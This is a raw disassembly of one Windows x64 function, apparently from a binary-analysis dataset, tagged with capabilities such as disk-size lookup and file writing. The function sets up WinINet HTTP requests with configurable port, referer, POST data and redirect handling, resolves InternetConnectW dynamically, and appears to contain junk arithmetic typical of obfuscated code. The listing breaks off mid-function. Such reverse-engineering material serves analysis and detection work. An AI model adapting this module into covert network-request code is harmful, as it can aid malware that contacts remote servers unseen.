Function at 0x140031bf0
Capabilities:
Get disk size
Write file on windows

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x18d8]
mov eax, 0x19d8
call fcn.1400d8890
sub rsp, rax
mov qword [rbp + 0x278], 0xfffffffffffffffe
movaps xmmword [rsp + 0x19c0], xmm6
mov rax, qword [0x1401cde90]
xor rax, rsp
mov qword [rbp + 0x18b0], rax
mov r12, r9
mov rdi, r8
mov rsi, rdx
mov r13, rcx
mov qword [rbp - 0x50], rcx
mov qword [rbp + 0x338], rcx
xor r15d, r15d
mov qword [rbp + 0x88], r15
mov dword [rsp + 0x44], r15d
mov rcx, r9
call fcn.14002fba0
lea rcx, str.__r_
test al, al
mov rax, qword [str.__r_]
je 0x140031cf0
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp + 0x58], rax
lea rdx, str.this_module_doesnt_support_file_request
test rdx, 0xffffffffffff0000
jne 0x140031cb1
movzx ebx, dx
mov ecx, ebx
call fcn.1400019e0
test rax, rax
je 0x140031cbb
mov r8d, ebx
mov rdx, rax
lea rcx, [rbp + 0x58]
call fcn.140002760
jmp 0x140031cbb
lea rcx, [rbp + 0x58]
call fcn.1400034f0
nop
lea rdx, [rbp + 0x58]
mov rcx, r13
call fcn.14002f120
mov dword [rsp + 0x44], 1
mov rdx, qword [rbp + 0x58]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140031ce8
mov rcx, qword [rdx]
mov r8, qword [rcx]
call qword [rreloc.OLEAUT32.dll_VariantClear + 8]
mov rax, r13
jmp 0x1400357a0
call qword [rax + 0x18]
add rax, 0x18
test rsi, rsi
jne 0x140031d6e
mov qword [rbp + 0x78], rax
lea rdx, str.InternetOpen_Failed
test rdx, 0xffffffffffff0000
jne 0x140031d30
movzx ebx, dx
mov ecx, ebx
call fcn.1400019e0
test rax, rax
je 0x140031d3a
mov r8d, ebx
mov rdx, rax
lea rcx, [rbp + 0x78]
call fcn.140002760
jmp 0x140031d3a
lea rcx, [rbp + 0x78]
call fcn.1400034f0
nop
lea rdx, [rbp + 0x78]
mov rcx, r13
call fcn.14002f120
mov dword [rsp + 0x44], 1
mov rdx, qword [rbp + 0x78]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140031ce8
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rax, r13
jmp 0x1400357a0
mov qword [rsp + 0x60], rax
lea rcx, str.__r_
mov rax, qword [str.__r_]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp - 0x60], rax
mov dword [rbp - 0x20], r15d
lea rax, [rbp + 0x228]
mov qword [rbp + 0x18], rax
lea r13, [0x1401d6bb0]
cmp byte [r12 + 8], 0
jne 0x140031daf
mov rax, r13
jmp 0x140031dbe
lea rdx, [0x14015ab44]
mov rcx, r12
call fcn.14003d050
mov rdx, qword [rax]
mov qword [rbp + 0x240], 0xf
mov qword [rbp + 0x238], r15
mov byte [rbp + 0x228], 0
or r14, 0xffffffffffffffff
cmp byte [rdx], 0
jne 0x140031de8
mov r8, r15
jmp 0x140031dfa
mov r8, r14
nop dword [rax + rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x140031df0
lea rcx, [rbp + 0x228]
call fcn.1400013f0
nop
lea rdx, [rbp + 0x228]
lea rcx, [rsp + 0x68]
call fcn.140022b50
nop
lea r9, [rbp - 0x20]
lea r8, [rbp - 0x60]
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x68]
call fcn.14002f850
movzx eax, al
test eax, eax
jne 0x140031f65
mov ecx, dword [0x1401d5d60]
lea r8d, [rcx + 2]
lea eax, [rcx + 1]
imul r8d, eax
imul r8d, ecx
mov eax, 0x38e38e39
imul r8d
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*8]
add eax, eax
sub r8d, eax
cmp r8d, 7
jne 0x140031ea9
lea ecx, [r8 + 0x21]
call fcn.1400d2e28
mov rbx, rax
nop dword [rax]
call fcn.1400d41a0
add eax, dword [0x1401d5d60]
mov dword [rbx + r15*4], eax
inc r15
cmp r15, 0xa
jl 0x140031e80
mov ecx, dword [rbx + 0x24]
mov dword [0x1401d5d60], ecx
mov rcx, rbx
call fcn.1400d3f08
lea rcx, str.__r_
mov rax, qword [str.__r_]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp + 0x68], rax
lea rdx, str.InternetCrackUrl_Failed
test rdx, 0xffffffffffff0000
jne 0x140031ef2
movzx ebx, dx
mov ecx, ebx
call fcn.1400019e0
test rax, rax
je 0x140031efc
mov r8d, ebx
mov rdx, rax
lea rcx, [rbp + 0x68]
call fcn.140002760
jmp 0x140031efc
lea rcx, [rbp + 0x68]
call fcn.1400034f0
nop
lea rdx, [rbp + 0x68]
mov rbx, qword [rbp - 0x50]
mov rcx, rbx
call fcn.14002f120
mov dword [rsp + 0x44], 1
mov rdx, qword [rbp + 0x68]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140031f2d
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x68]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140031f47
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x60]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140031f60
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
jmp 0x140035784
mov byte [rsp + 0x41], 0
cmp byte [r12 + 8], 0
je 0x140031fd0
lea rdx, [0x14015b8f0]
mov rcx, r12
call fcn.14003d050
cmp rax, r13
je 0x140031fd0
cmp byte [r12 + 8], 0
jne 0x140031f93
mov rax, r13
jmp 0x140031fa2
lea rdx, str.redirectCheck
mov rcx, r12
call fcn.14003d050
cmp byte [rax + 8], 5
jne 0x140031fd0
cmp byte [r12 + 8], 0
jne 0x140031fb5
mov rax, r13
jmp 0x140031fc4
lea rdx, [0x14015b8d8]
mov rcx, r12
call fcn.14003d050
mov rcx, rax
call fcn.14003ca00
mov byte [rsp + 0x41], al
mov byte [rsp + 0x48], 0
mov dword [rbp + 0x10], 0x50
lea rax, [rbp + 0xb0]
mov qword [rbp + 0x18], rax
mov rcx, qword [rsp + 0x68]
add rcx, 0xffffffffffffffe8
call fcn.1400025c0
add rax, 0x18
mov qword [rbp + 0xb0], rax
lea r8, [rbp + 0x10]
lea rdx, [rsp + 0x48]
lea rcx, [rbp + 0xb0]
call fcn.14002fa30
cmp byte [r12 + 8], 0
jne 0x140032022
mov rax, r13
jmp 0x140032031
lea rdx, [0x14015b8e8]
mov rcx, r12
call fcn.14003d050
cmp byte [rax + 8], 1
jne 0x140032062
cmp byte [r12 + 8], 0
jne 0x140032044
mov rax, r13
jmp 0x140032053
lea rdx, str.port
mov rcx, r12
call fcn.14003d050
mov rcx, rax
call fcn.14003c680
mov ebx, eax
mov dword [rbp - 0x20], eax
jmp 0x14003206e
mov ebx, dword [rbp - 0x20]
test ebx, ebx
cmove ebx, dword [rbp + 0x10]
mov dword [rbp - 0x20], ebx
mov byte [rsp + 0x40], 0
mov rdi, qword [rdi]
mov rdx, qword [rsp + 0x60]
test rdi, rdi
je 0x140032114
mov r11d, r15d
mov r10, r15
mov r9, rdi
nop dword [rax]
cmp qword [r9 + 0x10], 0
je 0x140032114
cmp dword [r9 + 8], ebx
jne 0x1400320d9
mov eax, r15d
test rdx, rdx
setne al
test eax, eax
je 0x140032109
mov rax, qword [r9]
mov r8, rdx
sub r8, rax
movzx ecx, word [rax]
cmp cx, word [rax + r8]
jne 0x1400320cb
add rax, 2
test cx, cx
jne 0x1400320b3
mov eax, r15d
jmp 0x1400320d0
sbb eax, eax
or eax, 1
test eax, eax
sete al
test al, al
jne 0x1400320ee
inc r11d
inc r10
add r9, 0x18
cmp r10, 0x400
jge 0x140032114
jmp 0x140032090
movsxd rax, r11d
lea rcx, [rax + rax*2]
mov rax, qword [rdi + rcx*8 + 0x10]
mov qword [rbp - 0x48], rax
test rax, rax
jne 0x140032290
jmp 0x140032114
mov ecx, 0x80004005
call fcn.140001920
int3
mov rax, qword [0x1401d79b8]
test rax, rax
jne 0x14003215c
lea rcx, [0x14015b948]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
test rax, rax
je 0x14003214b
lea rdx, str.InternetConnectW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1401d79b8], rax
jmp 0x140032152
mov rax, qword [0x1401d79b8]
test rax, rax
je 0x14003218c
mov rdx, qword [rsp + 0x60]
mov qword [rsp + 0x38], r15
mov dword [rsp + 0x30], r15d
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], r15
xor r9d, r9d
movzx r8d, bx
mov rcx, rsi
call rax
mov qword [rbp - 0x48], rax
test rax, rax
jne 0x14003228b
mov ecx, dword [0x1401d5d60]
lea r8d, [rcx + 2]
lea eax, [rcx + 1]
imul r8d, eax
imul r8d, ecx
mov eax, 0x88888889
imul r8d
add edx, r8d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xf
sub r8d, edx
cmp r8d, 0xa
jne 0x1400321cf
lea rcx, [rbp + 0x740]
call qword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
lea rcx, str.__r_
mov rax, qword [str.__r_]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp + 0x60], rax
lea rdx, str.InternetConnect_Failed
test rdx, 0xffffffffffff0000
jne 0x140032218
movzx ebx, dx
mov ecx, ebx
call fcn.1400019e0
test rax, rax
je 0x140032222
mov r8d, ebx
mov rdx, rax
lea rcx, [rbp + 0x60]
call fcn.140002760
jmp 0x140032222
lea rcx, [rbp + 0x60]
call fcn.1400034f0
nop
lea rdx, [rbp + 0x60]
mov rbx, qword [rbp - 0x50]
mov rcx, rbx
call fcn.14002f120
mov dword [rsp + 0x44], 1
mov rdx, qword [rbp + 0x60]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140032253
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x68]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14003226d
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x60]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140032286
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
jmp 0x140035784
mov byte [rsp + 0x40], 1
mov edi, 0x80400200
mov eax, 0x80600200
cmp byte [rsp + 0x41], 0
cmovne edi, eax
or edi, 0xc000
cmp byte [rsp + 0x48], 0
je 0x1400322b5
or edi, 0x803080
lea rcx, str.__r_
mov rax, qword [str.__r_]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp - 0x70], rax
cmp byte [r12 + 8], 0
jne 0x1400322db
mov rax, r13
jmp 0x1400322ea
lea rdx, [0x14015ab64]
mov rcx, r12
call fcn.14003d050
cmp byte [rax + 8], 4
jne 0x1400323ac
lea rax, [rbp + 0x3d8]
mov qword [rbp + 0x18], rax
cmp byte [r12 + 8], 0
jne 0x14003230c
mov rax, r13
jmp 0x14003231b
lea rdx, [0x14015ab8c]
mov rcx, r12
call fcn.14003d050
mov rdx, qword [rax]
lea rcx, [rbp + 0x3d8]
call fcn.140001370
nop
mov rdx, rax
lea rcx, [rbp + 0x168]
call fcn.140022b50
nop
mov rdx, qword [rax]
lea rcx, [rdx - 0x18]
mov rbx, qword [rbp - 0x70]
add rbx, 0xffffffffffffffe8
cmp rcx, rbx
je 0x140032391
cmp dword [rbx + 0x10], 0
jl 0x140032383
mov rax, qword [rbx]
cmp qword [rcx], rax
jne 0x140032383
call fcn.1400025c0
mov rsi, rax
lock add dword [rbx + 0x10], 0xffffffff
jg 0x140032379
mov rcx, qword [rbx]
mov r8, qword [rcx]
mov rdx, rbx
call qword [rreloc.OLEAUT32.dll_VariantClear + 8]
lea rax, [rsi + 0x18]
mov qword [rbp - 0x70], rax
jmp 0x140032391
mov r8d, dword [rdx - 0x10]
lea rcx, [rbp - 0x70]
call fcn.140002470
nop
mov rdx, qword [rbp + 0x168]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x1400323ac
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
lea rcx, str.__r_
mov rax, qword [str.__r_]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp - 0x80], rax
cmp byte [r12 + 8], 0
jne 0x1400323d2
mov rax, r13
jmp 0x1400323e1
lea rdx, [0x14015b960]
mov rcx, r12
call fcn.14003d050
cmp byte [rax + 8], 4
jne 0x1400324a3
lea rax, [rbp + 0x3f8]
mov qword [rbp - 0x30], rax
cmp byte [r12 + 8], 0
jne 0x140032403
mov rax, r13
jmp 0x140032412
lea rdx, [0x14015b968]
mov rcx, r12
call fcn.14003d050
mov rdx, qword [rax]
lea rcx, [rbp + 0x3f8]
call fcn.140001370
nop
mov rdx, rax
lea rcx, [rbp + 0x170]
call fcn.140022b50
nop
mov rdx, qword [rax]
lea rcx, [rdx - 0x18]
mov rbx, qword [rbp - 0x80]
add rbx, 0xffffffffffffffe8
cmp rcx, rbx
je 0x140032488
cmp dword [rbx + 0x10], 0
jl 0x14003247a
mov rax, qword [rbx]
cmp qword [rcx], rax
jne 0x14003247a
call fcn.1400025c0
mov rsi, rax
lock add dword [rbx + 0x10], 0xffffffff
jg 0x140032470
mov rcx, qword [rbx]
mov r8, qword [rcx]
mov rdx, rbx
call qword [rreloc.OLEAUT32.dll_VariantClear + 8]
lea rax, [rsi + 0x18]
mov qword [rbp - 0x80], rax
jmp 0x140032488
mov r8d, dword [rdx - 0x10]
lea rcx, [rbp - 0x80]
call fcn.140002470
nop
mov rdx, qword [rbp + 0x170]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x1400324a3
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
lea rcx, str.__r_
mov rax, qword [str.__r_]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp - 0x68], rax
cmp byte [r12 + 8], 0
jne 0x1400324c9
mov rax, r13
jmp 0x1400324d8
lea rdx, [0x14015b990]
mov rcx, r12
call fcn.14003d050
cmp byte [rax + 8], 4
jne 0x14003259a
lea rax, [rbp + 0x418]
mov qword [rbp - 0x30], rax
cmp byte [r12 + 8], 0
jne 0x1400324fa
mov rax, r13
jmp 0x140032509
lea rdx, str.referer
mov rcx, r12
call fcn.14003d050
mov rdx, qword [rax]
lea rcx, [rbp + 0x418]
call fcn.140001370
nop
mov rdx, rax
lea rcx, [rbp + 0x180]
call fcn.140022b50
nop
mov rdx, qword [rax]
lea rcx, [rdx - 0x18]
mov rbx, qword [rbp - 0x68]
add rbx, 0xffffffffffffffe8
cmp rcx, rbx
je 0x14003257f
cmp dword [rbx + 0x10], 0
jl 0x140032571
mov rax, qword [rbx]
cmp qword [rcx], rax
jne 0x140032571
call fcn.1400025c0
mov rsi, rax
lock add dword [rbx + 0x10], 0xffffffff
jg 0x140032567
mov rcx, qword [rbx]
mov r8, qword [rcx]
mov rdx, rbx
call qword [rreloc.OLEAUT32.dll_VariantClear + 8]
lea rax, [rsi + 0x18]
mov qword [rbp - 0x68], rax
jmp 0x14003257f
mov r8d, dword [rdx - 0x10]
lea rcx, [rbp - 0x68]
call fcn.140002470
nop
mov rdx, qword [rbp + 0x180]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14003259a
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
lea rcx, str.__r_
mov rax, qword [str.__r_]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x78], rax
cmp byte [r12 + 8], 0
jne 0x1400325c1
mov rax, r13
jmp 0x1400325d0
lea rdx, [0x14015b970]
mov rcx, r12
call fcn.14003d050
cmp byte [rax + 8], 4
jne 0x140032695
lea rax, [rbp + 0x498]
mov qword [rbp - 0x30], rax
cmp byte [r12 + 8], 0
jne 0x1400325f2
mov rax, r13
jmp 0x140032601
lea rdx, [0x14015b980]
mov rcx, r12
call fcn.14003d050
mov rdx, qword [rax]
lea rcx, [rbp + 0x498]
call fcn.140001370
nop
mov rdx, rax
lea rcx, [rbp + 0x1a0]
call fcn.140022b50
nop
mov rdx, qword [rax]
lea rcx, [rdx - 0x18]
mov rbx, qword [rsp + 0x78]
add rbx, 0xffffffffffffffe8
cmp rcx, rbx
je 0x14003267a
cmp dword [rbx + 0x10], 0
jl 0x14003266b
mov rax, qword [rbx]
cmp qword [rcx], rax
jne 0x14003266b
call fcn.1400025c0
mov rsi, rax
lock add dword [rbx + 0x10], 0xffffffff
jg 0x140032660
mov rcx, qword [rbx]
mov r8, qword [rcx]
mov rdx, rbx
call qword [rreloc.OLEAUT32.dll_VariantClear + 8]
lea rax, [rsi + 0x18]
mov qword [rsp + 0x78], rax
jmp 0x14003267a
mov r8d, dword [rdx - 0x10]
lea rcx, [rsp + 0x78]
call fcn.140002470
nop
mov rdx, qword [rbp + 0x1a0]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140032695
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rax, qword [rsp + 0x78]
cmp dword [rax - 0x10], 0
cmove rax, r15
mov qword [rbp + 0x218], rax
mov qword [rbp + 0x220], r15
mov rax, qword [rbp - 0x68]
cmp dword [rax - 0x10], 0
cmove rax, r15
mov r9, qword [rbp - 0x80]
cmp dword [r9 - 0x10], 0
cmove r9, r15
mov rdx, qword [rbp - 0x70]
cmp dword [rdx - 0x10], 0
cmove rdx, r15
mov esi, 1
mov qword [rsp + 0x38], rsi
mov dword [rsp + 0x30], edi
lea rcx, [rbp + 0x218]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rax
mov r8, qword [rbp - 0x60]
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.WININET.dll_HttpOpenRequestW]
mov rdi, rax
mov qword [rbp - 0x30], rax
lea rcx, str.__r_
test rax, rax
mov rax, qword [str.__r_]
jne 0x14003282f
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp + 0x40], rax
lea rdx, str.HttpOpenRequest_Failed
test rdx, 0xffffffffffff0000
jne 0x14003275b
movzx ebx, dx
mov ecx, ebx
call fcn.1400019e0
test rax, rax
je 0x140032765
mov r8d, ebx
mov rdx, rax
lea rcx, [rbp + 0x40]
call fcn.140002760
jmp 0x140032765
lea rcx, [rbp + 0x40]
call fcn.1400034f0
nop
lea rdx, [rbp + 0x40]
mov rbx, qword [rbp - 0x50]
mov rcx, rbx
call fcn.14002f120
mov dword [rsp + 0x44], esi
mov rdx, qword [rbp + 0x40]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140032792
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x78]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x1400327ac
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x68]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x1400327c5
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x80]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x1400327de
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x70]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x1400327f7
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x68]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140032811
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x60]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14003282a
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
jmp 0x140035784
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x70], rax
cmp byte [r12 + 8], 0
jne 0x140032848
mov rax, r13
jmp 0x140032857
lea rdx, [0x14015b9a0]
mov rcx, r12
call fcn.14003d050
mov esi, 4
cmp byte [rax + 8], sil
jne 0x140032aed
lea rcx, str.__r_
mov rax, qword [str.__r_]
call qword [rax + 0x18]
lea rbx, [rax + 0x18]
mov qword [rbp + 0x20], rbx
lea r8, [0x14015add4]
test r8, 0xffffffffffff0000
jne 0x1400328b4
movzx ebx, r8w
mov ecx, ebx
call fcn.1400019e0
test rax, rax
je 0x14003292b
mov r8d, ebx
mov rdx, rax
lea rcx, [rbp + 0x20]
call fcn.140002760
jmp 0x14003292b
mov eax, dword [rbx - 0x10]
mov dword [rsp + 0x58], eax
mov rdi, r8
sub rdi, rbx
sar rdi, 1
mov ecx, 1
sub ecx, dword [rbx - 8]
mov eax, dword [rbx - 0xc]
sub eax, 2
or eax, ecx
jge 0x1400328ef
mov edx, 2
lea rcx, [rbp + 0x20]
call fcn.140002560
mov rbx, qword [rbp + 0x20]
lea r8, [0x14015add4]
mov eax, dword [rsp + 0x58]
movsxd rdx, dword [rbx - 0xc]
mov r9, rsi
mov rcx, rbx
add rdx, rdx
cmp rdi, rax
ja 0x140032910
lea r8, [rbx + rdi*2]
call fcn.1400d400c
jmp 0x140032915
call fcn.1400d41cc
cmp dword [rbx - 0xc], 2
jl 0x140032ade
mov dword [rbx - 0x10], 2
mov word [rbx + 4], r15w
lea rax, [rbp + 0x398]
mov qword [rbp + 0x70], rax
cmp byte [r12 + 8], 0
jne 0x140032943
mov rax, r13
jmp 0x140032952
lea rdx, [0x14015ba08]
mov rcx, r12
call fcn.14003d050
mov rdx, qword [rax]
lea rcx, [rbp + 0x398]
call fcn.140001370
nop
mov rdx, rax
lea rcx, [rbp + 0x1d0]
call fcn.140022b50
mov rdi, rax
lea rcx, str.__r_
mov rdx, qword [str.__r_]
call qword [rdx + 0x18]
add rax, 0x18
mov qword [rbp + 0x80], rax
lea rdx, str.Content_Type:
test rdx, 0xffffffffffff0000
jne 0x1400329c3
movzx ebx, dx
mov ecx, ebx
call fcn.1400019e0
test rax, rax
je 0x1400329d0
mov r8d, ebx
mov rdx, rax
lea rcx, [rbp + 0x80]
call fcn.140002760
jmp 0x1400329d0
lea rcx, [rbp + 0x80]
call fcn.1400034f0
nop
mov r8, rdi
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0x1c0]
call fcn.140022e40
nop
lea r8, [rbp + 0x20]
mov rdx, rax
lea rcx, [rbp + 0x1b0]
call fcn.140022e40
nop
mov rdx, qword [rax]
lea rcx, [rdx - 0x18]
mov rbx, qword [rsp + 0x70]
add rbx, 0xffffffffffffffe8
cmp rcx, rbx
je 0x140032a54
cmp dword [rbx + 0x10], 0
jl 0x140032a45
mov rax, qword [rbx]
cmp qword [rcx], rax
jne 0x140032a45
call fcn.1400025c0
mov rdi, rax
lock add dword [rbx + 0x10], 0xffffffff
jg 0x140032a3a
mov rcx, qword [rbx]
mov r8, qword [rcx]
mov rdx, rbx
call qword [rreloc.OLEAUT32.dll_VariantClear + 8]
lea rax, [rdi + 0x18]
mov qword [rsp + 0x70], rax
jmp 0x140032a54
mov r8d, dword [rdx - 0x10]
lea rcx, [rsp + 0x70]
call fcn.140002470
nop
mov rdx, qword [rbp + 0x1b0]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140032a70
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp + 0x1c0]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140032a8c
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp + 0x80]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140032aa8
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp + 0x1d0]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140032ac4
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp + 0x20]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140032ae9
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
jmp 0x140032ae9
mov ecx, 0x80070057
call fcn.140001920
nop
mov rdi, qword [rbp - 0x30]
cmp byte [r12 + 8], 0
jne 0x140032afa
mov rax, r13
jmp 0x140032b09
lea rdx, [0x14015b9c8]
mov rcx, r12
call fcn.14003d050
cmp byte [rax + 8], 4
jne 0x140032bc8
lea rax, [rbp + 0x378]
mov qword [rbp + 0x70], rax
cmp byte [r12 + 8], 0
jne 0x140032b2b
mov rax, r13
jmp 0x140032b3a
lea rdx, [0x14015b9e8]
mov rcx, r12
call fcn.14003d050
mov rdx, qword [rax]
lea rcx, [rbp + 0x378]
call fcn.140001370
nop
mov rdx, rax
lea rcx, [rbp + 0x198]
call fcn.140022b50
nop
mov rdx, qword [rax]
mov r8d, dword [rdx - 0x10]
lea rcx, [rsp + 0x70]
call fcn.1400109d0
nop
mov rdx, qword [rbp + 0x198]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140032b87
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rcx, qword [rsp + 0x70]
add rcx, 0xffffffffffffffe8
call fcn.1400025c0
add rax, 0x18
mov qword [rbp + 0xd0], rax
lea rcx, [rbp + 0xd0]
call fcn.1400357d0
nop
mov rdx, qword [rbp + 0xd0]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140032bc8
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
lea rcx, str.__r_
mov rax, qword [str.__r_]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x50], rax
mov ebx, r15d
cmp byte [r12 + 8], bl
jne 0x140032bf1
mov rax, r13
jmp 0x140032c00
lea rdx, [0x14015ba48]
mov rcx, r12
call fcn.14003d050
cmp byte [rax + 8], 4
jne 0x140032cdd
lea rax, [rbp + 0x438]
mov qword [rbp + 0x70], rax
cmp byte [r12 + 8], bl
jne 0x140032c21
mov rax, r13
jmp 0x140032c30
lea rdx, str.postData
mov rcx, r12
call fcn.14003d050
mov rdx, qword [rax]
lea rcx, [rbp + 0x438]
call fcn.140001370
nop
mov rdx, rax
lea rcx, [rbp + 0x128]
call fcn.140022b50
nop
mov rdx, rax
lea rcx, [rsp + 0x50]
call fcn.1400023d0
nop
mov rdx, qword [rbp + 0x128]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140032c79
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
cmp byte [r12 + 8], 0
je 0x140032cdd
lea rdx, [0x14015ba28]
mov rcx, r12
call fcn.14003d050
cmp rax, r13
je 0x140032cdd
cmp byte [r12 + 8], 0
jne 0x140032ca2
mov rax, r13
jmp 0x140032cb1
lea rdx, [0x14015ba38]
mov rcx, r12
call fcn.14003d050
cmp byte [rax + 8], 1
jne 0x140032cdd
cmp byte [r12 + 8], 0
jne 0x140032cc4
mov rax, r13
jmp 0x140032cd3
lea rdx, str.datatype
mov rcx, r12
call fcn.14003d050
mov rcx, rax
call fcn.14003c680
mov ebx, eax
lea rcx, str.__r_
mov rdx, qword [str.__r_]
call qword [rdx + 0x18]
add rax, 0x18
mov qword [rbp - 0x78], rax
test ebx, ebx
jne 0x140032d91
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x4d8]
call fcn.140022bf0
mov rdx, rax
cmp qword [rax + 0x18], 0x10
jb 0x140032d1c
mov rdx, qword [rax]
test rdx, rdx
jne 0x140032d26
mov eax, r15d
jmp 0x140032d39
mov rax, r14
nop dword [rax]
inc rax
cmp byte [rdx + rax], 0
jne 0x140032d30
